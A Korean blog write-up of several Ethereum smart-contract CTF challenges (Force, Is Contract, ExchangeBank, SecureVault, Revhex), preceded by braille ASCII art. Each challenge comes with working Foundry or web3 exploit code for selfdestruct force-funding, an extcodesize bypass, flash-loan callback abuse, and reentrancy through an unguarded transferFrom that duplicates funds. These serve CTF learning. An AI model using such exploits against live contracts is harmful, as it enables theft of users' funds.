тб╡твХтвЭтв╛тгДтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтготаЧтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИтаИта╣тботгЗтвЗтвзтвгтблтбктгктвктаотб▓тб▒тбХтгХтвХтвХтбХтгХтвХтвотвктв║твктвктвОтвЧтвХтвЗтвЗтвЧтвХтвЭтвОтвотвктбЪтбО
тбЭтгЬтвХтгХтвптгЧтгДтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтг╕тб║таАтвАтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаЪтг╜тв╛тб╕тб▒тбХтгЭтвЬтвЬтвХтвЭтвЬтв╝тв╕тб╕тб▒тб╣тб╕тгЬтвЬтвХтвХтвЭтвЬтбЬтгХтв╡тв▒тбгтб│тб╣тбЬтбОтгОтвОтвотвк
тбктбктбктб▓тб▒твХтвптв╖тгвтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтг║таЕтаАтаАтв│тгАтаАтвАтвАтаАтаАтаАтаАтгАтбатгата┤таАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИталтгЯтб╛тб╝тгЬтвЬтвХтвХтвЭтвЬтвОтаотбктбктблтбктб▓твХтвХтвЧтвНтвЗтвЗтвЧтбктбктбктб║тбЬтгЬтвЬтвЬтвЬтвЬтвЬ
тбктбктбОтбЧтгНтвЧтвХтвЭтвОтвЯтг╖тгвтгДтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИтг╖тв╝таВтаАтаАта╣тв▓тгДтг╗тв╢твдтгдтгИтг│тб╗тбЖтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаЙтаЩта╜тг│тгЧтг╖тг╣тб╕тбктблтбктблтбктггтвлтгУтв╡тв▒твХтвЭтбЬтбОтботбктблтгктв║тв╕тв▒тантбХтбЭтбХ
твЭтвЬтвотв║тб╕тбктбктб│тб▒тбгтггтвУтвПтвЯтгЯтб╢тгФтбдтгАтбАтбАтаАтаАтаАтаАтв╣тб│таАтаАтаАтаАтаАтаИтаКтаГтаАтаИтаИтаИтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаСтаЩта╛тг│тб╜тгЬтвХтгЭтб╝тгЮтб╛та╜та╜твотвзтгУтвХтвХтвЗтвПтвОтвотв║тв╕твктбктб║тб╕
твХтгХтв╡тв▒тбктгктв║твктбктбгтбЗтбЧтгХтвХтвХтвнтвгтб╗тб╣тбЭтгЮтвЧтбзтб╢тб┤тг╝тгУтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаЙтаЫтв╖тв╡тгЯтаСтаАтаАтаАтаАтаЙтаЪтаЩтаЫтб╖тгХтвЭтвЬтвОтаотбктбктбктбо
твХтвОтвотвктвОтвотвктбктбОтботб║тб╕тгТтвХтбЭтб╝тб╕тб╕тб╕тбктбктбктбОтгОтвЗтвЯтгЦтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаЫтготгВтаАтаАтаАтаАтаАтаАтаАтаАтаИтб╖тгЭтвЬтвотв╣тв╕твктбктбк
тб╣тб╕тбктбгтгУтв╡твХтвХтбХтбЗтбПтботбктбктбктбОтгОтвЗтвЧтвХтбЭтгЬта╡тб▒тбХтгЭтгЧтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаИта╜тгзтбАтаАтаАтаАтаАтаАтаАтаАтг╛тб▒тбХтгХтвХтвЗтвЗтвзтвл
тбктвотв║тв╕твктвХтвХтвХтбХтгЭта╝тб╕тбктбктб║тб╕тбЬтбХтгХтвХтвХтбХтгЭтбктбктбктг╛тбВтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтв│тг│таАтаАтаАтаАтаАтаАтаИтг║тбктгктв▓твХтв╡твХта╡тбХ
твлтбктгктвгтб│тб▒тбНтгЗтвЗтвзтвлтвктбктбктбОтгЗтвЗтвЧтвХтвХтвЗтбПтгОтвотвктвлтв║твзтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтв┤тв╖таБтаАтаАтаАтаАтаАтаАтвРтбптбОтботб║тб╕тб╕тб▒тг▒
твХтвХтв╡тв▒тб▒тбгтблтбктбктбОтбЗтбЧтгХтвХтвЭтбЬтбЬтбОтбОтбзтбгтб│тб▒тгХтвХтв╡твпта╗тгЦтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтв╕тб│таАтаАтаАтаАтвАтаАтватгЬтвЧтвЭтвЬтбЬтбОтбЮтбктб▓
твЧтвХтвЗтвзтвгтблтбктбктботбктб║тб╕тгФтвХтв╡тв▒тантбктгктбктбОтбЗтбЧтгХтв╡тг╗таЕтаАталтг╖тгвтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвдтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвитбптаАтаАтаАтаАтб╜тгЭтвПтвОтвЗтвПтвОтаотбктбктгктвг
тб▒тб▒тбгтб│тб▒тбХтгЭтвЬтвОтвОтбЗтгЗтвЗтвЧтвХтв╡тв╣тв╕твктвктвктвОтвЗтвЗтг┐таВтаАтаАтаАтаШтв║тг│тгдтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаатгПтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгЭтгЗтбАтгАтгАтгЦтвптвгтв│тв▒твЭтвЬтвХтвЭтбктб║тб╕тб╕
тбктбктбОтбЧтгХтвЭтвЬтвЬтвХтв╡тв▒тб▒тантбктбктбгтгУтвХтвХтвЭтгЬтвЬтв╡тб╣тгЮтаАтаАтаАтаАтаАтаАтаШта║тг╗твжтгАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАта╕тбЕтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаатгЧтбПтбЯтбЮтвотвгтб│тб╣тб╕тбктгктвгтблтбктвОтвХтвЭтвЬ
тбктб║тб╕тгктв▓твХтв╡твХтвЗтвЧтвХтвОтаптбктгктгУтвХтв╡твХтвЗтвЗтвЗтвзтглтбзтаАтаАтаАтаАтаАтаАтаАтаАтаАтаЩта╜тг╗твжтгЖтгАтвАтаАтаАтаАтаАтаАтаАта╕тбЗтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтг╝тб│тгХтвХтвЭтвХтвХтвОтвотбктботбктбОтгОтвОтвЧтвХтвЭтвХ
тбктггтвлтв▓твХтвЗтвЧтвХтв╡тв╣твктвктвЭтвЬтвЬтбФтбЗтбзтбгтб│тбХтб╜тб╕тбктб╖таАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаЙтаЪтаЭтвЧтв╖твЦтгжтвжтгдтгдтгЬтгЧтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтв┤тгЧтвзтвгтв│тв▒тб╣тб╕тбктгктвктбктб║тб╕тбктбХтб╡тбНтбЗтбЧ
твХтвХтбХтбзтбгтблтбктб║тб╕тб▒тбХтгХтвЗтвЧтвХтвХтвЗтазтбгтб│тб▒тгХтг│тг╣тв╜тгЕтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвИтгбтв╖тб│тб╣тг║тгЕтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтг╝тв╜тгЮтгЯтаотб║тб╕тб╕тбктбгтбгтвЗтвЧтвЭтвЬтаотбктбктбктб║тб╕
твХтв╡тв▒твХтвнтбктгктб║тбктбгтгУтвХтвХтвХтв╡тв╣тамтблтгктв╛тв╜тв║тбОтаКтаБтвЧтгЖтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтвАтгФтбЧтбПтбзтбктб║тбЬтб╖тгДтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтватв╝тг║тг╗тг║тв╕таптбктб║тбктбктгХтвЭтвХтвХтбХтбЗтбптбктб║тбктбктбо
тбХтбХтгЗтвЧтвХтвотвктвктвктвОтвотвктвгтвлтбктбОтботгптвптгЯтгЖтбАта╣тбзтгДтгдтвптв╖тгАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгЙтгЭтгЮтботб║тб╕тбктбгтбгтгЫтв╖тгЕтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтвАтг┤тв┐тв╜тб╜тб╛тбХтг╕твптгЮтвЬтвЬтвОтвЦтвХтбХтбЗтбЧтбЭтгЬтвЬтвОтвотвктвО
тбктбгтггтв│тв▒твХтвХтв╡твХтвЗтвзтвгтбгтб│тбктг║тв╜тв╜тб╜тгЮтб╖тбптб┐тб╜тбптгЮтгптв┐тв╜твптв╖тг▓тг┤тв┤тгдтгвтв┤тг░тг▓тг╜тг│тг╗тг║тг│твХтвЭтвЬтв╝тв▒тб▒тб▒тб╜тгЦтбДтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгатв╝тб╜тгЮтгптвптбптбПтг░твЯтвдтаСтв┐твЬтбктбгтбгтбгтблтбктбОтгОтаотвХтвХтвХта╡
твктбктбОтгОтвЗтвЧтвХтгХтвХтбХтгЗтв│твктбктбктгптбГтаЙтвптв╖тг╗тв╜твптв┐тб╜тг╗тг║твптв┐тв╜твптгЧтгптв╖тг│твптбптг╖тг╗тг║тгЮтгЧтгЯтгЮтбЧтгХтвЭтбЬтбОтботбктбктбктбЯтг╖тгФтбДтбАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтаАтгАтв┤таЭтг║твптвптв╖твптбптбПтг░та╗тб┤тгЬтаЗтг╜твХтвХтвЭтвЬтвотвктбгтб│тб▒тгЩтвХтвХтв╡тв╣
тбОтгОтвотвктбктггтв│тв▒тб▒тбХтбХтбЭтбЬтбЬтбОтботб╖твжтгАтбИтаЙтаЫта╜твптвптгЯтб╛тбптб┐тг╜тг╗тг║тг│твптбптгптв┐тв╡тг╗тгЮтбЮтаЧтаЯтб╛тбХтб╡тб▒тбХтбЗтгЗтвПтвОтвЗтвПтвЦтб│тблтгптвЧтгжтвжтвдтгДтгатгАтгДтгдтгвтбжтг╖твЛтгБтб┤тбптб┐тб╜тгптвптаПтг┤тв╖тбетгжтв┤тб║тб▒тбХтбЭтбЬтбОтботбктбОтгЗтвПтвОтвЗтвПтвОтвЗ
твХтвХтбХтб╡тб▒тб▒тбгтбУтбОтботбктггтвУтвХтбХтбптбзтбитбПтаЩталтб╢тгвтбдтгМтгИтвЙтвЙтаЛтаУтаЩтаЪта╣таЩтаЩтаЙтаЙтвЙтвАтгАтбатбдтб┤тбптбгтггтбгтб│тб▒твХтвХтвХтвЧтвЭтвЬтвОтвотбктбктбктблтбЭтбОтбЧтвЧтгЯтб╛тг╡тг╗тб╜тг╗тг║тб╜тб╜тбптб┐тб╡твЛтб╝тгОтвЧтвнтвгтблтбктгктв║тв╕тв▒твХтвХтвХтвЗтвзтв│тв╣тб╕тбктбктгУ
    */
        uint256 public solved;

    function solve() external {
        require(address(this).balance != 0);
        solved = 1;
    }
}

 

ethernaut의 Force문제랑 똑같다. payable함수가 없는 contract가 이더를 받게끔 하는 문제다. selfdestruct함수를 이용해서 해결할 수 있다. contract에 있는 이더를 지정한 주소에 전부 옮기고 contract를 비활성화시키는 함수이다.

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    Force public target;

    function run() external {
        target = Force(0x0C27480e9110F62118c210dBB7791ec19e976591);
        vm.startBroadcast(0x570e18927231bee96d7a917a8154f050816d44879670fc819c031326c532224b);
        Ex ex = new Ex();
        ex.exploit{value: 1 ether}(target);
        target.solve();
        vm.stopBroadcast();
    }
}

contract Ex{
    function exploit(Force target) public payable {
        selfdestruct(payable(address(target)));
    }
}

 

 

 

Is Contract?

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

contract Is_contract {
    function isContract(address account) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public solved = false;

    function callme() external {
        if (tx.origin != msg.sender) {
            require(!isContract(msg.sender), "no contract allowed");
            solved = true;
        }
    }
}

 

tx.origin과 msg.sender가 다르면서 msg.sender가 contract가 아니어야 한다. 따라서 새로운 contract를 만들어서 tx.origin과 msg.sender를 다르게 해준 후 해당 contract의 constructor에서 callme함수를 불러주면 msg.sender는 contract주소가 아닌 EOA의 주소가 되면서 조건을 만족시킬 수 있다.

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    Is_contract public target;

    function run() external {
        target = Is_contract(payable(0x1d9E70672B3947c7F7088C20499e58D5F85F2C74));
        vm.startBroadcast(0x900122d3883b1ef8e1132af8531a8d3da09b33d60ec486ebb0c7b07ca34b3920);
        sender zz = new sender(target);
        vm.stopBroadcast();
    }
}

contract sender {
    constructor(Is_contract target){
        target.callme();
    }
}

 

 

ExchangeBank

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract WONa is ERC20, Ownable {
    constructor() ERC20("WONA", "WONA") Ownable(msg.sender) {}

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
}

contract WONb is ERC20, Ownable {
    constructor() ERC20("WONB", "WONB") Ownable(msg.sender) {}

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
}

contract ExchangeBank is Ownable, ReentrancyGuard {
    WONa public token1;
    WONb public token2;
    bool public solved;
    mapping(address => bool) public hasClaimedReward;

    constructor() Ownable(msg.sender) {
        token1 = new WONa();
        token2 = new WONb();
        token1.mint(address(this), 10000 ether);
        token2.mint(address(this), 10000 ether);
    }

    function claimInitialReward() external nonReentrant {
        require(!hasClaimedReward[tx.origin], "Reward already claimed");
        require(token1.balanceOf(address(this)) >= 10 ether, "Not enough tokens for reward");    
        hasClaimedReward[tx.origin] = true;
        require(token1.transfer(msg.sender, 10 ether), "Reward transfer failed");
    }

    function getPrice() public view returns (uint256) {
        uint256 token1Amount = token1.balanceOf(address(this));
        uint256 token2Amount = token2.balanceOf(address(this));
        require(token1Amount > 0 && token2Amount > 0, "Insufficient liquidity");
        return (token2Amount * 1 ether) / token1Amount;
    }

    function flashLoan(uint256 amount, bytes calldata data) public nonReentrant {
        uint256 balanceBefore = token1.balanceOf(address(this));
        require(balanceBefore >= amount, "Not enough tokens in pool");
        token1.transfer(msg.sender, amount);
        (bool success, ) = msg.sender.call(data);
        require(success, "Callback failed");
        uint256 balanceAfter = token1.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan not repaid");
    }

    function swap(uint256 amount) public {
        require(amount > 0, "Amount must be greater than 0");    
        require(token1.transferFrom(msg.sender, address(this), amount), "Transfer failed");
        uint256 price = getPrice();
        require(price > 0, "Price cannot be zero");
        uint256 swapAmount = (amount * price) / 1 ether;
        require(token2.transfer(msg.sender, swapAmount), "Payout transfer failed");
    }

    function solve() external {
        require(token2.balanceOf(msg.sender) >= 20 ether, "Need more token to solve");
        solved = true;
    }
}

 

WONa와 WONb token을 만들고 flashLoan함수에서 WONa를 빌리는 기능이, swap함수에서 보유중인 WONa를 WONb로 바꾸는 기능이 구현되어 있다. 그리고 ReetrancyGuard에 의해 재진입 공격은 불가능하다. claimInitialReward함수는 10 ether만큼 WONa token을 준다. 하지만 이 함수는 한번만 호출 가능하다. 그리고 solved를 true로 만들려면 WONb token이 20 ether만큼 있어야 한다. 재진입 공격은 불가능하지만 flashLoan함수에 대놓고 callback함수를 쓸 수 있게 해준다. 따라서 그냥 간단하게 flashLoan함수에서 WONa token을 빌린 후 callback함수에서 swap한 후 solve함수를 부르면 된다. swap과정에서 WONa token은 다시 회수되므로 callback호출이 끝난 후 빌린 WONa token이 정상적으로 상환되었는지 체크하는 flashLoan함수의 검증도 정상적으로 통과할 수 있다.

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    ExchangeBank public target;

    function run() external {
        target = ExchangeBank(payable(0x71937ce4F04EaC0d80fe3c0fc44c3fD8E0a109Fe));
        vm.startBroadcast(0xbb5cf2b7d8ad4f74fd92c63010fbba72602d10bbd6630a5cf8a67074a31bb6f9);
        Ex ex = new Ex();
        ex.exploit(target);
        vm.stopBroadcast();
    }
}

contract Ex{
    function zzlol(address target) public {
        ExchangeBank(target).token1().approve(target, 100 ether);
        target.call(abi.encodeWithSignature("swap(uint256)", 100 ether));
        target.call(abi.encodeWithSignature("solve()"));
    }
    function exploit(ExchangeBank target) public {
        bytes memory data = abi.encodeWithSignature("zzlol(address)", address(target));
        target.claimInitialReward();
        target.flashLoan(100 ether, data);
    }
}

 

 

 

SecureVault

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract GoldToken is Ownable {
    using Address for address;
    using Address for address payable;

    string public constant name = "Gold Token";
    string public constant symbol = "GOLD";
    uint8 public constant decimals = 18;

    event Approval(address indexed src, address indexed dst, uint256 amt);
    event Transfer(address indexed src, address indexed dst, uint256 amt);
    event Deposit(address indexed dst, uint256 amt);
    event Withdrawal(address indexed src, uint256 amt);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor() Ownable(msg.sender) {}

    receive() external payable {
        revert("GOLD: Do not send ETH directly");
    }

    function deposit(address _userAddress) public payable onlyOwner {
        _mint(_userAddress, msg.value);
        emit Deposit(_userAddress, msg.value);
    }

    function withdraw(address _userAddress, uint256 _amount) public onlyOwner {
        payable(_userAddress).sendValue(_amount);
        _burn(_userAddress, _amount);
        emit Withdrawal(_userAddress, _amount);
    }

    function withdrawAll(address _userAddress) public onlyOwner {
        uint256 amount = balanceOf[_userAddress];
        payable(_userAddress).sendValue(amount);
        _burnAll(_userAddress);
        emit Withdrawal(_userAddress, amount);
    }

    function totalSupply() public view returns (uint256) {
        return address(this).balance;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address dst, uint256 amount) public returns (bool) {
        return transferFrom(msg.sender, dst, amount);
    }

    function transferFrom(address src, address dst, uint256 amount) public returns (bool) {
        require(balanceOf[src] >= amount, "Insufficient balance");
        if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
            require(allowance[src][msg.sender] >= amount, "Insufficient allowance");
            allowance[src][msg.sender] -= amount;
        }
        balanceOf[src] -= amount;
        balanceOf[dst] += amount;
        emit Transfer(src, dst, amount);
        return true;
    }

    function _mint(address dst, uint256 amount) internal {
        balanceOf[dst] += amount;
    }

    function _burn(address src, uint256 amount) internal {
        require(balanceOf[src] >= amount, "Insufficient balance");
        balanceOf[src] -= amount;
    }

    function _burnAll(address _userAddress) internal {
        _burn(_userAddress, balanceOf[_userAddress]);
    }
}

contract SecureVault is ReentrancyGuard {
    GoldToken public immutable goldToken;
    bool public solved;

    constructor() payable {
        goldToken = new GoldToken();
        goldToken.deposit{value: msg.value}(address(this));
    }

    function deposit() public payable nonReentrant {
        goldToken.deposit{value: msg.value}(msg.sender);
    }

    function withdraw(uint256 amount) public nonReentrant {
        goldToken.withdraw(msg.sender, amount);
    }

    function withdrawAll() public nonReentrant {
        goldToken.withdrawAll(msg.sender);
    }

    function solve() external {
        require(msg.sender.balance >= 50 ether);
        solved = true;
    }

    receive() external payable {}
}

 

GoldToken contract에 토큰 거래 시스템이 구현되어 있고 SecureVault contract에서는 ReentrancyGuard를 이용해서 재진입 공격을 방어하면서 안전하게 GoldToken contract의 기능을 사용한다. 얼핏 보면 재진입 공격으로부터 안전해보이지만 조금만 생각을 해보면 안전하지 않다는걸 알 수 있다.

일단 GoldToken contract의 transferFrom함수는 public으로 선언되어 있어서 외부에서 직접 호출할 수 있고 ReentrancyGuard가 걸려있지 않다. 그러면 withdrawAll을 부르고 fallback에서 transferFrom함수를 부른다면? sendValue로 이미 환전받은 상태에서 _burn으로 토큰이 소각되기 전에 다른 계좌로 토큰을 옮겨버릴 수 있으므로 돈 복사가 가능해진다.

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/abi.sol";

contract exploit is Script{
    SecureVault public target;

    function run() external {
        target = SecureVault(payable(0x2Ec4d9458f75264d83f442787c1DE87855bb20A1));
        vm.startBroadcast(0x4ea0a1a6c4dbfe2688fd166982c0f4885ebcdd1b526ccd04cb44ef0d5e56d972);
        Ex ex = new Ex();
        ex.exploit{value: 7 ether}(target);
        console.log(target.goldToken().balanceOf(address(0xae4019D1eCf1E24365D99E8de1b3cb36Cf732262)));
        target.withdraw(50 ether);
        target.solve();
        vm.stopBroadcast();
    }
}

contract Ex{
    SecureVault target;
    function exploit(SecureVault _target) public payable {
        target = _target;
        for(uint i = 0; i < 10; i++){
            target.deposit{value: 7 ether}();
            target.withdrawAll();
            console.log(target.goldToken().balanceOf(address(0xae4019D1eCf1E24365D99E8de1b3cb36Cf732262)));
        }
    }
    fallback() external payable {
        target.goldToken().transfer(0xae4019D1eCf1E24365D99E8de1b3cb36Cf732262, 7 ether);
    }
}

 

위 exploit을 실행하면 solved를 true로 만들 수 있다. 풀고나서 보니까 그냥 ReentrancyGuard없는 함수 이용해서 재진입 공격으로 돈복사하는 간단한 문제였는데 ReentrancyGuard에 낚여서 너무 오랫동안 잡고있었다.

 

 

Revhex

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Revhex {
    address public immutable target;
    bool public solved = false;

    constructor() {
        bytes memory code = hex"3d602d80600a3d3981f363ffffffff80600143034016903a1681146017576033fe5b5060006000f3";
        address child;
        assembly {
            child := create(0, add(code, 0x20), mload(code))
        }
        target = child;
    }

    function flag() external {
        (bool succ,) = target.call(hex"");
        assert(succ);
        solved = true;
    }

    function isSolved() public view returns (bool) {
        return solved;
    }
}

 

evm bytecode를 이용해서 contract를 생성한다. 해당 contract를 call했을때 정상적으로 실행되게끔 만들면 된다.

 

https://ethervm.io/decompile

 

Online Solidity Decompiler

 

ethervm.io

 

대충 구글링해보니까 evm bytecode를 디컴파일해주는 사이트가 있다. 들어가서 돌려보면

 

label_0000:
	// Inputs[3]
	// {
	//     @0000  returndata.length
	//     @0006  returndata.length
	//     @0009  memory[returndata.length:returndata.length + 0x2d]
	// }
	0000    3D  RETURNDATASIZE
	0001    60  PUSH1 0x2d
	0003    80  DUP1
	0004    60  PUSH1 0x0a
	0006    3D  RETURNDATASIZE
	0007    39  CODECOPY
	0008    81  DUP2
	0009    F3  *RETURN
	// Stack delta = +1
	// Outputs[3]
	// {
	//     @0000  stack[0] = returndata.length
	//     @0007  memory[returndata.length:returndata.length + 0x2d] = code[0x0a:0x37]
	//     @0009  return memory[returndata.length:returndata.length + 0x2d];
	// }
	// Block terminates

	000A    63    PUSH4 0xffffffff
	000F    80    DUP1
	0010    60    PUSH1 0x01
	0012    43    NUMBER
	0013    03    SUB
	0014    40    BLOCKHASH
	0015    16    AND
	0016    90    SWAP1
	0017    3A    GASPRICE
	0018    16    AND
	0019    81    DUP2
	001A    14    EQ
	001B    60    PUSH1 0x17
	001D    57    *JUMPI
	001E    60    PUSH1 0x33
	0020    FE    *ASSERT
	0021    5B    JUMPDEST
	0022    50    POP
	0023    60    PUSH1 0x00
	0025    60    PUSH1 0x00
	0027    F3    *RETURN

 

디스어셈 결과는 요렇다. 직접 분석해도 금방 분석하는 적은 분량이긴 하지만 위 사이트는 디컴파일도 같이 해주기 때문에 굳이 생분석 할 필요가 없다.

 

contract Contract {
    function main() {
        var var0 = returndata.length;
        memory[returndata.length:returndata.length + 0x2d] = code[0x0a:0x37];
        return memory[var0:var0 + 0x2d];
    }
}

 

디컴파일 결과는 이렇다. RETURN이 2개인거로 봐서 함수가 2개인거같고 디컴파일 결과는 첫번째 함수만 보여주는듯 했다. 이 함수는 딱히 의미없는거 같고 2번째 함수가 메인인거같아서 뒤에 부분을 따로 디컴파일 돌려봤다.

 

contract Contract {
    function main() {
        var var0 = block.blockHash(block.number - 0x01) & 0xffffffff;
    
        if (var0 == tx.gasprice & 0xffffffff) { return memory[0x00:0x00]; }
    
        var var1 = 0x33;
        assert();
    }
}

 

그렇다. 이 함수에서 조건이 안맞을 경우 assert를 내버리기 때문에 결국 blockhash랑 gasprice의 하위 32비트를 맞춰주면 문제가 풀리게 된다.

 

from web3 import Web3

w3 = Web3(Web3.HTTPProvider("http://ctf.adder.pe.kr:32924/cf715a16661b/rpc"))

privkey = "0x4eea094588adad7838617973c03555ab270c0ae24c68ada015f9549f99155271"
PA = w3.eth.account.from_key(privkey)
myAddr = PA.address

contract_address = "0x3498280c8DEf8f66c793F8f11087d7fe299A6263"
contract_abi = [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"flag","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"solved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"target","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

contract = w3.eth.contract(address=contract_address, abi=contract_abi)

func_call = contract.functions.flag().build_transaction({
    "from": myAddr,
    "gasPrice": int(w3.eth.get_block(w3.eth.block_number).hash.hex(), 16) & 0xffffffff,
    "nonce": w3.eth.get_transaction_count(myAddr),
    "chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, privkey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)

tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

print(tx_hash.hex())
print(tx_receipt)
print(contract.functions.solved().call())

 

최종 exploit 코드는 위와 같다. gasPrice는 EOA에서만 설정할 수 있어서 어쩔 수 없이 파이썬을 썼다.

반응형

'CTF' 카테고리의 다른 글

YISF 2023 본선 1등 후기 + writeup  (0) 2024.07.16
Codegate 2024 Junior 예선  (0) 2024.06.06
